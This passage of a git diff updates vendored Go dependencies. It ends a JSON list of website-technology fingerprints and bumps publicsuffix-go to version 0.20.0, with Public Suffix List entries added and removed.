Factory":{"implies":["Mautic"]},"Weebly":{"js":["_w.configdomain"],"implies":["PHP","MySQL"]},"Order Deadline":{"js":["orderdeadlineappbyeesl"],"implies":["Shopify"]},"GotiPath":{"headers":{"x-cache":"\\.swiftserve\\.com"}},"POWR":{"js":["powr_receivers","loadpowr"]},"jqPlot":{"implies":["jQuery"]},"Ordersify Product Alerts":{"js":["ordersify_bis.stockremainingsetting"],"implies":["Shopify"]},"FeatherX":{"js":["featherx.clientid"]},"eSSENTIAL Accessibility":{},"Coureon":{},"Recart":{"js":["__recart","recart"]},"Bookatable":{},"Metomic":{},"Letro":{"js":["__letrougcgadget","letrougcset"]},"Airee":{"headers":{"server":"^airee"}},"Facebook Ads":{},"Tebex":{"implies":["MySQL","Sass","PHP"]},"Birdeye":{"js":["bfiframe"]},"TiddlyWiki":{"js":["tiddler"],"html":["\u003c[^\u003e]*type=[^\u003e]text\\/vnd\\.tiddlywiki"],"meta":{"generator":["^tiddlywiki$"],"tiddlywiki-version":["^(.+)$\\;version:\\1"],"application-name":["^tiddlywiki$"],"copyright":["^tiddlywiki created by jeremy ruston"]}},"Budbee":{},"Photo Gallery":{},"New Relic":{"js":["nreum","newrelic"]},"WebEngage":{"js":["webengage.__v"]},"Vercel":{"headers":{"x-now-trace":"","x-vercel-cache":"","x-vercel-id":"","server":"^now|vercel$"}},"Gambio":{"js":["gambio"],"html":["(?:\u003clink[^\u003e]* href=\"templates/gambio/|\u003ca[^\u003e]content\\.php\\?coid=\\d|\u003c!-- gambio eof --\u003e|\u003c!--[\\s=]+shopsoftware by gambio gmbh \\(c\\))"],"implies":["PHP"]},"MysteryThemes News Portal Lite":{},"Zoey":{"js":["zoey.module","zoey.developer","zoeydev"],"implies":["PHP","MySQL"]},"Mercado Shops":{"cookies":{"_mshops_ga_gid":""}},"augmented-ui":{},"Tripadviser.Widget":{},"Carts Guru":{},"Semplice":{"js":["semplice.template_dir"]},"RapidSpike":{"js":["rspike_timing"]},"Ad Lightning":{},"SplittyPay":{},"DirectAdmin":{"headers":{"server":"directadmin daemon v([\\d.]+)\\;version:\\1"},"html":["\u003ca[^\u003e]+\u003edirectadmin\u003c/a\u003e web control panel"],"implies":["PHP","Apache"]},"Nexcess":{"headers":{"x-hostname":"nxcli\\.net$"}},"Loqate":{"js":["loqateaccountcode","pca.platform.productlist"]},"nopStation":{"implies":["Microsoft ASP.NET"]},"idCloudHost":{},"Rezgo":{},"Simplo7":{},"Konduto":{"js":["konduto","getkondutoid"]},"Boutiq":{"js":["caazamapp"]},"amoCRM":{"js":["amocrm","amo_pixel_client","amoformswidget","amosocialbutton"]},"Vanilla":{"headers":{"x-powered-by":"vanilla"},"html":["\u003cbody id=\"(?:discussionspage|vanilla)"],"implies":["PHP"]},"Material Design Lite":{"js":["materialicontoggle"],"html":["\u003clink[^\u003e]* href=\"[^\"]*material(?:\\.[\\w]+-[\\w]+)?(?:\\.min)?\\.css"]},"Instapage":{"js":["_instapagesnowplow","instapagesp"],"implies":["Lua","Node.js"]},"Slice":{},"MGPanel":{"implies":["MySQL"]},"Proximis":{},"Signal":{"js":["signaldata"]},"THG Ingenuity":{},"Shoppy":{"js":["shoppy"]},"IPinfo":{},"LiveJournal":{},"Adobe Experience Platform Launch":{"js":["_satellite.buildinfo"]},"Ionic":{"js":["ionic.config","ionic.version"]},"Shopaholic":{"cookies":{"shopaholic_cart_id":""},"js":["shopaholiccart"]},"VuFind":{"js":["vufind.defaultsearchbackend"],"meta":{"generator":["^vufind\\s([\\d\\.]+)$\\;version:\\1"]}},"Next Total":{"js":["nextbasket.nextunlimited","nextfavourites.busy","nextfavourites.data.shoppinglists"]},"Apache":{"headers":{"server":"(?:apache(?:$|/([\\d.]+)|[^/-])|(?:^|\\b)httpd)\\;version:\\1"}},"Tencent Analytics (腾讯分析)":{},"Mynetcap":{"meta":{"generator":["mynetcap"]}},"Synology DiskStation":{"html":["\u003cnoscript\u003e\u003cdiv class='syno-no-script'"],"meta":{"description":["^diskstation provides a full-featured network attached storage"],"application-name":["synology diskstation"]}},"Clinch":{},"Blade":{"headers":{"x-powered-by":"blade-([\\w.]+)?\\;version:\\1"},"implies":["Java"]},"Microsoft SharePoint":{"js":["spdesignerprogid","_spbodyonloadcalled"],"headers":{"sprequestguid":"","sharepointhealthscore":"","x-sharepointhealthscore":"","microsoftsharepointteamservices":"^(.+)$\\;version:\\1"},"meta":{"generator":["microsoft sharepoint"]}},"pinoox":{"cookies":{"pinoox_session":""},"js":["pinoox"],"implies":["PHP"]},"Oct8ne":{"js":["oct8ne.agentsavailable","oct8neapi","oct8nevars.pluginversion"]},"Recent Posts Widget With Thumbnails":{},"Jekyll":{"html":["powered by \u003ca href=\"https?://jekyllrb\\.com\"[^\u003e]*\u003ejekyll\u003c/","\u003c!-- created with jekyll now -","\u003c!-- begin jekyll seo tag"],"meta":{"generator":["jekyll (v[\\d.]+)?\\;version:\\1"]}},"Synerise":{},"Colissimo":{},"RapidSec":{"headers":{"report-to":"\\.rapidsec\\.net","content-security-policy":"\\.rapidsec\\.net","content-security-policy-report-only":"\\.rapidsec\\.net"}},"Etracker":{"js":["_etracker"]},"Sympa":{"html":["\u003ca href=\"https?://www\\.sympa\\.org\"\u003e\\s*powered by sympa\\s*\u003c/a\u003e"],"meta":{"generator":["^sympa$"]},"implies":["Perl"]},"Pattern by Etsy":{"js":["etsy"]},"Apache Wicket":{"js":["wicket"],"implies":["Java"]},"CopyPoison":{},"Tabarnapp":{"js":["tabarnapp_loaded_ad"]},"ThemeGrill eStore":{"meta":{"generator":["estore v\\.([\\d\\.]+)\\;version:\\1"]},"implies":["Cart Functionality"]}}}` \ No newline at end of file diff --git a/vendor/github.com/weppos/publicsuffix-go/LICENSE.txt b/vendor/github.com/weppos/publicsuffix-go/LICENSE.txt index 079a934f9..9c05936bd 100644 --- a/vendor/github.com/weppos/publicsuffix-go/LICENSE.txt +++ b/vendor/github.com/weppos/publicsuffix-go/LICENSE.txt @@ -1,6 +1,6 @@ The MIT License (MIT) -Copyright (c) 2016-2020 Simone Carletti +Copyright (c) 2016-2022 Simone Carletti Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/vendor/github.com/weppos/publicsuffix-go/publicsuffix/publicsuffix.go b/vendor/github.com/weppos/publicsuffix-go/publicsuffix/publicsuffix.go index 689a89f26..45c253754 100644 --- a/vendor/github.com/weppos/publicsuffix-go/publicsuffix/publicsuffix.go +++ b/vendor/github.com/weppos/publicsuffix-go/publicsuffix/publicsuffix.go @@ -20,7 +20,7 @@ const ( // Version identifies the current library version. // This is a pro forma convention given that Go dependencies // tends to be fetched directly from the repo. - Version = "0.15.0" + Version = "0.20.0" // NormalType represents a normal rule such as "com" NormalType = 1 diff --git a/vendor/github.com/weppos/publicsuffix-go/publicsuffix/rules.go b/vendor/github.com/weppos/publicsuffix-go/publicsuffix/rules.go index 0b0ccfdbe..fe02cedbf 100644 --- a/vendor/github.com/weppos/publicsuffix-go/publicsuffix/rules.go +++ b/vendor/github.com/weppos/publicsuffix-go/publicsuffix/rules.go @@ -3,13 +3,13 @@ package publicsuffix -const defaultListVersion = "PSL version e3fc75 (Wed Sep 22 08:23:47 2021)" +const defaultListVersion = "PSL version 4f1786 (Sun Jul 3 15:53:00 2022)" -func DefaultRules() [9191]Rule { +func DefaultRules() [9374]Rule { return r } -var r = [9191]Rule{ +var r = [9374]Rule{ {1, "ac", 1, false}, {1, "com.ac", 2, false}, {1, "edu.ac", 2, false}, @@ -688,6 +688,11 @@ var r = [9191]Rule{ {1, "gov.cu", 2, false}, {1, "inf.cu", 2, false}, {1, "cv", 1, false}, + {1, "com.cv", 2, false}, + {1, "edu.cv", 2, false}, + {1, "int.cv", 2, false}, + {1, "nome.cv", 2, false}, + {1, "org.cv", 2, false}, {1, "cw", 1, false}, {1, "com.cw", 2, false}, {1, "edu.cw", 2, false}, @@ -702,10 +707,9 @@ var r = [9191]Rule{ {1, "ekloges.cy", 2, false}, {1, "gov.cy", 2, false}, {1, "ltd.cy", 2, false}, - {1, "name.cy", 2, false}, + {1, "mil.cy", 2, false}, {1, "net.cy", 2, false}, {1, "org.cy", 2, false}, - {1, "parliament.cy", 2, false}, {1, "press.cy", 2, false}, {1, "pro.cy", 2, false}, {1, "tm.cy", 2, false}, @@ -3390,11 +3394,10 @@ var r = [9191]Rule{ {1, "net.kw", 2, false}, {1, "org.kw", 2, false}, {1, "ky", 1, false}, - {1, "edu.ky", 2, false}, - {1, "gov.ky", 2, false}, {1, "com.ky", 2, false}, - {1, "org.ky", 2, false}, + {1, "edu.ky", 2, false}, {1, "net.ky", 2, false}, + {1, "org.ky", 2, false}, {1, "kz", 1, false}, {1, "org.kz", 2, false}, {1, "edu.kz", 2, false}, @@ -6208,7 +6211,6 @@ var r = [9191]Rule{ {1, "adult", 1, false}, {1, "aeg", 1, false}, {1, "aetna", 1, false}, - {1, "afamilycompany", 1, false}, {1, "afl", 1, false}, {1, "africa", 1, false}, {1, "agakhan", 1, false}, @@ -6329,7 +6331,6 @@ var r = [9191]Rule{ {1, "broker", 1, false}, {1, "brother", 1, false}, {1, "brussels", 1, false}, - {1, "budapest", 1, false}, {1, "bugatti", 1, false}, {1, "build", 1, false}, {1, "builders", 1, false}, @@ -6433,7 +6434,6 @@ var r = [9191]Rule{ {1, "crs", 1, false}, {1, "cruise", 1, false}, {1, "cruises", 1, false}, - {1, "csc", 1, false}, {1, "cuisinella", 1, false}, {1, "cymru", 1, false}, {1, "cyou", 1, false}, @@ -6481,7 +6481,6 @@ var r = [9191]Rule{ {1, "drive", 1, false}, {1, "dtv", 1, false}, {1, "dubai", 1, false}, - {1, "duck", 1, false}, {1, "dunlop", 1, false}, {1, "dupont", 1, false}, {1, "durban", 1, false}, @@ -6591,7 +6590,6 @@ var r = [9191]Rule{ {1, "gifts", 1, false}, {1, "gives", 1, false}, {1, "giving", 1, false}, - {1, "glade", 1, false}, {1, "glass", 1, false}, {1, "gle", 1, false}, {1, "global", 1, false}, @@ -6769,7 +6767,6 @@ var r = [9191]Rule{ {1, "lipsy", 1, false}, {1, "live", 1, false}, {1, "living", 1, false}, - {1, "lixil", 1, false}, {1, "llc", 1, false}, {1, "llp", 1, false}, {1, "loan", 1, false}, @@ -6881,7 +6878,6 @@ var r = [9191]Rule{ {1, "nyc", 1, false}, {1, "obi", 1, false}, {1, "observer", 1, false}, - {1, "off", 1, false}, {1, "office", 1, false}, {1, "okinawa", 1, false}, {1, "olayan", 1, false}, @@ -6961,10 +6957,8 @@ var r = [9191]Rule{ {1, "qpon", 1, false}, {1, "quebec", 1, false}, {1, "quest", 1, false}, - {1, "qvc", 1, false}, {1, "racing", 1, false}, {1, "radio", 1, false}, - {1, "raid", 1, false}, {1, "read", 1, false}, {1, "realestate", 1, false}, {1, "realtor", 1, false}, @@ -6995,7 +6989,6 @@ var r = [9191]Rule{ {1, "ril", 1, false}, {1, "rio", 1, false}, {1, "rip", 1, false}, - {1, "rmit", 1, false}, {1, "rocher", 1, false}, {1, "rocks", 1, false}, {1, "rodeo", 1, false}, @@ -7034,7 +7027,6 @@ var r = [9191]Rule{ {1, "schule", 1, false}, {1, "schwarz", 1, false}, {1, "science", 1, false}, - {1, "scjohnson", 1, false}, {1, "scot", 1, false}, {1, "search", 1, false}, {1, "seat", 1, false}, @@ -7111,7 +7103,6 @@ var r = [9191]Rule{ {1, "surgery", 1, false}, {1, "suzuki", 1, false}, {1, "swatch", 1, false}, - {1, "swiftcover", 1, false}, {1, "swiss", 1, false}, {1, "sydney", 1, false}, {1, "systems", 1, false}, @@ -7251,7 +7242,6 @@ var r = [9191]Rule{ {1, "xn--30rr7y", 1, false}, {1, "xn--3bst00m", 1, false}, {1, "xn--3ds443g", 1, false}, - {1, "xn--3oq18vl8pn36a", 1, false}, {1, "xn--3pxu8k", 1, false}, {1, "xn--42c2d9a", 1, false}, {1, "xn--45q11c", 1, false}, @@ -7368,6 +7358,10 @@ var r = [9191]Rule{ {1, "hlx.page", 2, true}, {1, "hlx3.page", 2, true}, {1, "beep.pl", 2, true}, + {1, "airkitapps.com", 2, true}, + {1, "airkitapps-au.com", 2, true}, + {1, "airkitapps.eu", 2, true}, + {1, "aivencloud.com", 2, true}, {1, "barsy.ca", 2, true}, {2, "compute.estate", 3, true}, {2, "alces.network", 3, true}, @@ -7456,10 +7450,10 @@ var r = [9191]Rule{ {1, "s3-website.eu-west-2.amazonaws.com", 4, true}, {1, "s3-website.eu-west-3.amazonaws.com", 4, true}, {1, "s3-website.us-east-2.amazonaws.com", 4, true}, - {1, "amsw.nl", 2, true}, {1, "t3l3p0rt.net", 2, true}, {1, "tele.amune.org", 3, true}, {1, "apigee.io", 2, true}, + {1, "siiites.com", 2, true}, {1, "appspacehosted.com", 2, true}, {1, "appspaceusercontent.com", 2, true}, {1, "appudo.net", 2, true}, @@ -7474,6 +7468,7 @@ var r = [9191]Rule{ {1, "sweetpepper.org", 2, true}, {1, "myasustor.com", 2, true}, {1, "cdn.prod.atlassian-dev.net", 4, true}, + {1, "translated.page", 2, true}, {1, "myfritz.net", 2, true}, {1, "onavstack.net", 2, true}, {2, "awdev.ca", 3, true}, @@ -7486,6 +7481,17 @@ var r = [9191]Rule{ {2, "banzai.cloud", 3, true}, {1, "app.banzaicloud.io", 3, true}, {2, "backyards.banzaicloud.io", 4, true}, + {1, "base.ec", 2, true}, + {1, "official.ec", 2, true}, + {1, "buyshop.jp", 2, true}, + {1, "fashionstore.jp", 2, true}, + {1, "handcrafted.jp", 2, true}, + {1, "kawaiishop.jp", 2, true}, + {1, "supersale.jp", 2, true}, + {1, "theshop.jp", 2, true}, + {1, "shopselect.net", 2, true}, + {1, "base.shop", 2, true}, + {2, "beget.app", 3, true}, {1, "betainabox.com", 2, true}, {1, "bnr.la", 2, true}, {1, "bitbucket.io", 2, true}, @@ -7534,7 +7540,6 @@ var r = [9191]Rule{ {1, "za.bz", 2, true}, {1, "za.com", 2, true}, {1, "ar.com", 2, true}, - {1, "gb.com", 2, true}, {1, "hu.com", 2, true}, {1, "kr.com", 2, true}, {1, "no.com", 2, true}, @@ -7555,7 +7560,6 @@ var r = [9191]Rule{ {1, "cx.ua", 2, true}, {1, "discourse.group", 2, true}, {1, "discourse.team", 2, true}, - {1, "virtueeldomein.nl", 2, true}, {1, "cleverapps.io", 2, true}, {1, "clerk.app", 2, true}, {1, "clerkstage.app", 2, true}, @@ -7563,7 +7567,6 @@ var r = [9191]Rule{ {2, "lclstage.dev", 3, true}, {2, "stg.dev", 3, true}, {2, "stgstage.dev", 3, true}, - {1, "clic2000.net", 2, true}, {1, "clickrising.net", 2, true}, {1, "c66.me", 2, true}, {1, "cloud66.ws", 2, true}, @@ -7600,6 +7603,7 @@ var r = [9191]Rule{ {1, "cloudns.pw", 2, true}, {1, "cloudns.us", 2, true}, {1, "cnpy.gdn", 2, true}, + {1, "codeberg.page", 2, true}, {1, "co.nl", 2, true}, {1, "co.no", 2, true}, {1, "webhosting.be", 2, true}, @@ -7657,8 +7661,12 @@ var r = [9191]Rule{ {1, "deno.dev", 2, true}, {1, "deno-staging.dev", 2, true}, {1, "dedyn.io", 2, true}, + {1, "deta.app", 2, true}, + {1, "deta.dev", 2, true}, {2, "rss.my.id", 4, true}, {2, "diher.solutions", 3, true}, + {1, "discordsays.com", 2, true}, + {1, "discordsez.com", 2, true}, {1, "jozi.biz", 2, true}, {1, "dnshome.de", 2, true}, {1, "online.th", 2, true}, @@ -7985,9 +7993,6 @@ var r = [9191]Rule{ {1, "myddns.rocks", 2, true}, {1, "blogsite.xyz", 2, true}, {1, "dynv6.net", 2, true}, - {1, "elluciancrmadvance.com", 2, true}, - {1, "elluciancrmadvise.com", 2, true}, - {1, "elluciancrmrecruit.com", 2, true}, {1, "e4.cz", 2, true}, {1, "eero.online", 2, true}, {1, "eero-stage.online", 2, true}, @@ -7996,9 +8001,11 @@ var r = [9191]Rule{ {1, "en-root.fr", 2, true}, {1, "mytuleap.com", 2, true}, {1, "tuleap-partners.com", 2, true}, + {1, "encr.app", 2, true}, + {1, "encoreapi.com", 2, true}, {1, "onred.one", 2, true}, {1, "staging.onred.one", 3, true}, - {1, "service.one", 2, true}, + {1, "eu.encoway.cloud", 3, true}, {1, "eu.org", 2, true}, {1, "al.eu.org", 3, true}, {1, "asso.eu.org", 3, true}, @@ -8166,8 +8173,6 @@ var r = [9191]Rule{ {1, "cloud.fedoraproject.org", 3, true}, {1, "app.os.fedoraproject.org", 4, true}, {1, "app.os.stg.fedoraproject.org", 5, true}, - {1, "couk.me", 2, true}, - {1, "ukco.me", 2, true}, {1, "conn.uk", 2, true}, {1, "copro.uk", 2, true}, {1, "hosp.uk", 2, true}, @@ -8183,6 +8188,8 @@ var r = [9191]Rule{ {1, "firebaseapp.com", 2, true}, {1, "fireweb.app", 2, true}, {1, "flap.id", 2, true}, + {1, "onflashdrive.app", 2, true}, + {1, "fldrv.com", 2, true}, {1, "fly.dev", 2, true}, {1, "edgeapp.net", 2, true}, {1, "shw.io", 2, true}, @@ -8211,7 +8218,16 @@ var r = [9191]Rule{ {2, "ex.ortsinfo.at", 4, true}, {2, "kunden.ortsinfo.at", 4, true}, {2, "statics.cloud", 3, true}, + {1, "independent-commission.uk", 2, true}, + {1, "independent-inquest.uk", 2, true}, + {1, "independent-inquiry.uk", 2, true}, + {1, "independent-panel.uk", 2, true}, + {1, "independent-review.uk", 2, true}, + {1, "public-inquiry.uk", 2, true}, + {1, "royal-commission.uk", 2, true}, + {1, "campaign.gov.uk", 3, true}, {1, "service.gov.uk", 3, true}, + {1, "api.gov.uk", 3, true}, {1, "gehirn.ne.jp", 3, true}, {1, "usercontent.jp", 2, true}, {1, "gentapps.com", 2, true}, @@ -8231,6 +8247,112 @@ var r = [9191]Rule{ {1, "co.ro", 2, true}, {1, "shop.ro", 2, true}, {1, "lolipop.io", 2, true}, + {1, "angry.jp", 2, true}, + {1, "babyblue.jp", 2, true}, + {1, "babymilk.jp", 2, true}, + {1, "backdrop.jp", 2, true}, + {1, "bambina.jp", 2, true}, + {1, "bitter.jp", 2, true}, + {1, "blush.jp", 2, true}, + {1, "boo.jp", 2, true}, + {1, "boy.jp", 2, true}, + {1, "boyfriend.jp", 2, true}, + {1, "but.jp", 2, true}, + {1, "candypop.jp", 2, true}, + {1, "capoo.jp", 2, true}, + {1, "catfood.jp", 2, true}, + {1, "cheap.jp", 2, true}, + {1, "chicappa.jp", 2, true}, + {1, "chillout.jp", 2, true}, + {1, "chips.jp", 2, true}, + {1, "chowder.jp", 2, true}, + {1, "chu.jp", 2, true}, + {1, "ciao.jp", 2, true}, + {1, "cocotte.jp", 2, true}, + {1, "coolblog.jp", 2, true}, + {1, "cranky.jp", 2, true}, + {1, "cutegirl.jp", 2, true}, + {1, "daa.jp", 2, true}, + {1, "deca.jp", 2, true}, + {1, "deci.jp", 2, true}, + {1, "digick.jp", 2, true}, + {1, "egoism.jp", 2, true}, + {1, "fakefur.jp", 2, true}, + {1, "fem.jp", 2, true}, + {1, "flier.jp", 2, true}, + {1, "floppy.jp", 2, true}, + {1, "fool.jp", 2, true}, + {1, "frenchkiss.jp", 2, true}, + {1, "girlfriend.jp", 2, true}, + {1, "girly.jp", 2, true}, + {1, "gloomy.jp", 2, true}, + {1, "gonna.jp", 2, true}, + {1, "greater.jp", 2, true}, + {1, "hacca.jp", 2, true}, + {1, "heavy.jp", 2, true}, + {1, "her.jp", 2, true}, + {1, "hiho.jp", 2, true}, + {1, "hippy.jp", 2, true}, + {1, "holy.jp", 2, true}, + {1, "hungry.jp", 2, true}, + {1, "icurus.jp", 2, true}, + {1, "itigo.jp", 2, true}, + {1, "jellybean.jp", 2, true}, + {1, "kikirara.jp", 2, true}, + {1, "kill.jp", 2, true}, + {1, "kilo.jp", 2, true}, + {1, "kuron.jp", 2, true}, + {1, "littlestar.jp", 2, true}, + {1, "lolipopmc.jp", 2, true}, + {1, "lolitapunk.jp", 2, true}, + {1, "lomo.jp", 2, true}, + {1, "lovepop.jp", 2, true}, + {1, "lovesick.jp", 2, true}, + {1, "main.jp", 2, true}, + {1, "mods.jp", 2, true}, + {1, "mond.jp", 2, true}, + {1, "mongolian.jp", 2, true}, + {1, "moo.jp", 2, true}, + {1, "namaste.jp", 2, true}, + {1, "nikita.jp", 2, true}, + {1, "nobushi.jp", 2, true}, + {1, "noor.jp", 2, true}, + {1, "oops.jp", 2, true}, + {1, "parallel.jp", 2, true}, + {1, "parasite.jp", 2, true}, + {1, "pecori.jp", 2, true}, + {1, "peewee.jp", 2, true}, + {1, "penne.jp", 2, true}, + {1, "pepper.jp", 2, true}, + {1, "perma.jp", 2, true}, + {1, "pigboat.jp", 2, true}, + {1, "pinoko.jp", 2, true}, + {1, "punyu.jp", 2, true}, + {1, "pupu.jp", 2, true}, + {1, "pussycat.jp", 2, true}, + {1, "pya.jp", 2, true}, + {1, "raindrop.jp", 2, true}, + {1, "readymade.jp", 2, true}, + {1, "sadist.jp", 2, true}, + {1, "schoolbus.jp", 2, true}, + {1, "secret.jp", 2, true}, + {1, "staba.jp", 2, true}, + {1, "stripper.jp", 2, true}, + {1, "sub.jp", 2, true}, + {1, "sunnyday.jp", 2, true}, + {1, "thick.jp", 2, true}, + {1, "tonkotsu.jp", 2, true}, + {1, "under.jp", 2, true}, + {1, "upper.jp", 2, true}, + {1, "velvet.jp", 2, true}, + {1, "verse.jp", 2, true}, + {1, "versus.jp", 2, true}, + {1, "vivian.jp", 2, true}, + {1, "watson.jp", 2, true}, + {1, "weblike.jp", 2, true}, + {1, "whitesnow.jp", 2, true}, + {1, "zombie.jp", 2, true}, + {1, "heteml.net", 2, true}, {1, "cloudapps.digital", 2, true}, {1, "london.cloudapps.digital", 3, true}, {1, "pymnt.uk", 2, true}, @@ -8253,6 +8375,7 @@ var r = [9191]Rule{ {2, "gateway.dev", 3, true}, {1, "cloud.goog", 2, true}, {1, "translate.goog", 2, true}, + {2, "usercontent.goog", 3, true}, {1, "cloudfunctions.net", 2, true}, {1, "blogspot.ae", 2, true}, {1, "blogspot.al", 2, true}, @@ -8329,6 +8452,7 @@ var r = [9191]Rule{ {1, "blogspot.ug", 2, true}, {1, "blogspot.vn", 2, true}, {1, "goupile.fr", 2, true}, + {1, "gov.nl", 2, true}, {1, "awsmppl.com", 2, true}, {1, "xn--gnstigbestellen-zvb.de", 2, true}, {1, "xn--gnstigliefern-wob.de", 2, true}, @@ -8346,6 +8470,7 @@ var r = [9191]Rule{ {1, "hepforge.org", 2, true}, {1, "herokuapp.com", 2, true}, {1, "herokussl.com", 2, true}, + {1, "ravendb.cloud", 2, true}, {1, "myravendb.com", 2, true}, {1, "ravendb.community", 2, true}, {1, "ravendb.me", 2, true}, @@ -8353,6 +8478,7 @@ var r = [9191]Rule{ {1, "ravendb.run", 2, true}, {1, "homesklep.pl", 2, true}, {1, "secaas.hk", 2, true}, + {1, "hoplix.shop", 2, true}, {1, "orx.biz", 2, true}, {1, "biz.gl", 2, true}, {1, "col.ng", 2, true}, @@ -8362,12 +8488,13 @@ var r = [9191]Rule{ {1, "ngo.ng", 2, true}, {1, "edu.scot", 2, true}, {1, "sch.so", 2, true}, - {1, "org.yt", 2, true}, {1, "hostyhosting.io", 2, true}, {1, "xn--hkkinen-5wa.fi", 2, true}, {2, "moonscale.io", 3, true}, {1, "moonscale.net", 2, true}, {1, "iki.fi", 2, true}, + {1, "ibxos.it", 2, true}, + {1, "iliadboxos.it", 2, true}, {1, "impertrixcdn.com", 2, true}, {1, "impertrix.com", 2, true}, {1, "smushcdn.com", 2, true}, @@ -8419,7 +8546,9 @@ var r = [9191]Rule{ {1, "na4u.ru", 2, true}, {1, "iopsys.se", 2, true}, {1, "ipifony.net", 2, true}, + {1, "iservschule.de", 2, true}, {1, "mein-iserv.de", 2, true}, + {1, "schulplattform.de", 2, true}, {1, "schulserver.de", 2, true}, {1, "test-iserv.de", 2, true}, {1, "iserv.dev", 2, true}, @@ -8518,10 +8647,13 @@ var r = [9191]Rule{ {1, "js.org", 2, true}, {1, "kaas.gg", 2, true}, {1, "khplay.nl", 2, true}, + {1, "ktistory.com", 2, true}, + {1, "kapsi.fi", 2, true}, {1, "keymachine.de", 2, true}, {1, "kinghost.net", 2, true}, {1, "uni5.net", 2, true}, {1, "knightpoint.systems", 2, true}, + {1, "koobin.events", 2, true}, {1, "oya.to", 2, true}, {1, "kuleuven.cloud", 2, true}, {1, "ezproxy.kuleuven.be", 3, true}, @@ -8549,7 +8681,9 @@ var r = [9191]Rule{ {1, "members.linode.com", 3, true}, {2, "nodebalancer.linode.com", 4, true}, {2, "linodeobjects.com", 3, true}, + {1, "ip.linodeusercontent.com", 3, true}, {1, "we.bs", 2, true}, + {2, "user.localcert.dev", 4, true}, {1, "localzone.xyz", 2, true}, {1, "loginline.app", 2, true}, {1, "loginline.dev", 2, true}, @@ -8607,6 +8741,7 @@ var r = [9191]Rule{ {1, "hra.health", 2, true}, {1, "miniserver.com", 2, true}, {1, "memset.net", 2, true}, + {1, "messerli.app", 2, true}, {2, "cloud.metacentrum.cz", 4, true}, {1, "custom.metacentrum.cz", 3, true}, {1, "flt.cloud.muni.cz", 4, true}, @@ -8619,6 +8754,7 @@ var r = [9191]Rule{ {1, "azure-mobile.net", 2, true}, {1, "cloudapp.net", 2, true}, {1, "azurestaticapps.net", 2, true}, + {1, "1.azurestaticapps.net", 3, true}, {1, "centralus.azurestaticapps.net", 3, true}, {1, "eastasia.azurestaticapps.net", 3, true}, {1, "eastus2.azurestaticapps.net", 3, true}, @@ -8662,6 +8798,7 @@ var r = [9191]Rule{ {1, "that.win", 2, true}, {1, "from.work", 2, true}, {1, "to.work", 2, true}, + {1, "cloud.nospamproxy.com", 3, true}, {1, "netlify.app", 2, true}, {1, "4u.com", 2, true}, {1, "ngrok.io", 2, true}, @@ -8670,7 +8807,10 @@ var r = [9191]Rule{ {2, "developer.app", 3, true}, {1, "noop.app", 2, true}, {2, "northflank.app", 3, true}, + {2, "build.run", 3, true}, {2, "code.run", 3, true}, + {2, "database.run", 3, true}, + {2, "migration.run", 3, true}, {1, "noticeable.news", 2, true}, {1, "dnsking.ch", 2, true}, {1, "mypi.co", 2, true}, @@ -8785,8 +8925,6 @@ var r = [9191]Rule{ {1, "webhop.me", 2, true}, {1, "zapto.org", 2, true}, {1, "stage.nodeart.io", 3, true}, - {1, "nodum.co", 2, true}, - {1, "nodum.io", 2, true}, {1, "pcloud.host", 2, true}, {1, "nyc.mn", 2, true}, {1, "static.observableusercontent.com", 3, true}, @@ -8794,11 +8932,13 @@ var r = [9191]Rule{ {1, "omg.lol", 2, true}, {1, "cloudycluster.net", 2, true}, {1, "omniwe.site", 2, true}, + {1, "service.one", 2, true}, {1, "nid.io", 2, true}, {1, "opensocial.site", 2, true}, {1, "opencraft.hosting", 2, true}, {1, "orsites.com", 2, true}, {1, "operaunite.com", 2, true}, + {1, "tech.orange", 2, true}, {1, "authgear-staging.com", 2, true}, {1, "authgearapps.com", 2, true}, {1, "skygearapp.com", 2, true}, @@ -8843,11 +8983,13 @@ var r = [9191]Rule{ {1, "plesk.page", 2, true}, {1, "pleskns.com", 2, true}, {1, "dyn53.io", 2, true}, + {1, "onporter.run", 2, true}, {1, "co.bn", 2, true}, {1, "postman-echo.com", 2, true}, {1, "pstmn.io", 2, true}, {1, "mock.pstmn.io", 3, true}, {1, "httpbin.org", 2, true}, + {1, "prequalifyme.today", 2, true}, {1, "xen.prgmr.com", 3, true}, {1, "priv.at", 2, true}, {1, "prvcy.page", 2, true}, @@ -8895,6 +9037,7 @@ var r = [9191]Rule{ {1, "adimo.co.uk", 3, true}, {1, "itcouldbewor.se", 2, true}, {1, "git-pages.rit.edu", 3, true}, + {1, "rocky.page", 2, true}, {1, "xn--90amc.xn--p1acf", 2, true}, {1, "xn--j1aef.xn--p1acf", 2, true}, {1, "xn--j1ael8b.xn--p1acf", 2, true}, @@ -8905,9 +9048,37 @@ var r = [9191]Rule{ {1, "xn--h1aliz.xn--p1acf", 2, true}, {1, "xn--90a1af.xn--p1acf", 2, true}, {1, "xn--41a.xn--p1acf", 2, true}, + {2, "builder.code.com", 4, true}, + {2, "dev-builder.code.com", 4, true}, + {2, "stg-builder.code.com", 4, true}, {1, "sandcats.io", 2, true}, {1, "logoip.de", 2, true}, {1, "logoip.com", 2, true}, + {1, "fr-par-1.baremetal.scw.cloud", 4, true}, + {1, "fr-par-2.baremetal.scw.cloud", 4, true}, + {1, "nl-ams-1.baremetal.scw.cloud", 4, true}, + {1, "fnc.fr-par.scw.cloud", 4, true}, + {1, "functions.fnc.fr-par.scw.cloud", 5, true}, + {1, "k8s.fr-par.scw.cloud", 4, true}, + {1, "nodes.k8s.fr-par.scw.cloud", 5, true}, + {1, "s3.fr-par.scw.cloud", 4, true}, + {1, "s3-website.fr-par.scw.cloud", 4, true}, + {1, "whm.fr-par.scw.cloud", 4, true}, + {1, "priv.instances.scw.cloud", 4, true}, + {1, "pub.instances.scw.cloud", 4, true}, + {1, "k8s.scw.cloud", 3, true}, + {1, "k8s.nl-ams.scw.cloud", 4, true}, + {1, "nodes.k8s.nl-ams.scw.cloud", 5, true}, + {1, "s3.nl-ams.scw.cloud", 4, true}, + {1, "s3-website.nl-ams.scw.cloud", 4, true}, + {1, "whm.nl-ams.scw.cloud", 4, true}, + {1, "k8s.pl-waw.scw.cloud", 4, true}, + {1, "nodes.k8s.pl-waw.scw.cloud", 5, true}, + {1, "s3.pl-waw.scw.cloud", 4, true}, + {1, "s3-website.pl-waw.scw.cloud", 4, true}, + {1, "scalebook.scw.cloud", 3, true}, + {1, "smartlabeling.scw.cloud", 3, true}, + {1, 